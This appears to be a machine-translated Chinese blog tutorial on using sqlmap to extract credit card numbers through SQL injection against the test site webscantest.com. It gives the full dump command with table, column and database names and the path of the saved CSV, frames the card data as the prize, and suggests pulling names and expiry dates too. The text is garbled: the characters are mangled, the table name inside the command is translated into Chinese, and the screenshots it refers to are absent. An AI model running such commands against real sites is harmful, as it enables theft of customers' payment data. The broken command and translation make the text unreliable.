怎么使用sqlmap提取數(shù)據(jù)

這篇文章主要講解了“怎么使用sqlmap提取數(shù)據(jù)”，文中的講解內(nèi)容簡單清晰，易于學習與理解，下面請大家跟著小編的思路慢慢深入，一起來研究和學習“怎么使用sqlmap提取數(shù)據(jù)”吧！

步驟＃1進行偵察以獲取必要的信息     

當然，第一步是通過Web應(yīng)用程序使用sqlmap對數(shù)據(jù)庫進行偵察。為了成功提取數(shù)據(jù)，我們需要；  

1.數(shù)據(jù)庫管理系統(tǒng)（DBMS）的類型  

2.數(shù)據(jù)庫名稱  

3.表格名稱  

4.我們要提取其數(shù)據(jù)的列的名稱  

我們從名為www.webscantest.com的網(wǎng)站獲取了所有信息。

然后，我們從數(shù)據(jù)庫中提取表和列，如下所示。

在訂單表中，我們可以看到該公司收到的每個訂單都存儲有信用卡信息。那就是我們想要的！

步驟＃2提取數(shù)據(jù)

現(xiàn)在我們有了所需的所有關(guān)鍵信息，現(xiàn)在該提取信用卡信息了。讓我們回到sqlmap的幫助屏幕。只需輸入；

kali> sqlmap-help

正如您在上面看到的，我們需要在sqlmap中使用--dump選項以及列名和表名。如;

--dump

-C billing_CC_number

-T orders

-D webscantest

讓我們將所有這些信息放在一起，看看是否可以從數(shù)據(jù)庫中提取信用卡數(shù)據(jù)。

kali> sqlmap -u“ http://www.webscantest.com/datastore/search_get_by_id.php?id=4” --dump -C billing_CC_number -T訂單-D webscantest

如上所示，sqlmap提取了數(shù)據(jù)，然后以.csv格式將數(shù)據(jù)轉(zhuǎn)儲到我的Kali系統(tǒng)中，并將其保存到；

 /root/.sqlmap/output/www.webscantest.com/dump/webscantest/orders.csv

現(xiàn)在，我們擁有所有.csv文件格式的信用卡數(shù)據(jù)，可以在Excel，文本編輯器或任何電子表格程序中打開它們。

當然，如果我們需要更多數(shù)據(jù)，例如到期日期或名字和姓氏，則可以通過簡單地將sqlmap命令中的信用卡列名替換為表中的適當列名（例如billing_firstname）來提取該數(shù)據(jù)。

感謝各位的閱讀，以上就是“怎么使用sqlmap提取數(shù)據(jù)”的內(nèi)容了，經(jīng)過本文的學習后，相信大家對怎么使用sqlmap提取數(shù)據(jù)這一問題有了更深刻的體會，具體使用情況還需要大家實踐驗證。這里是億速云，小編將為大家推送更多相關(guān)知識點的文章，歡迎關(guān)注！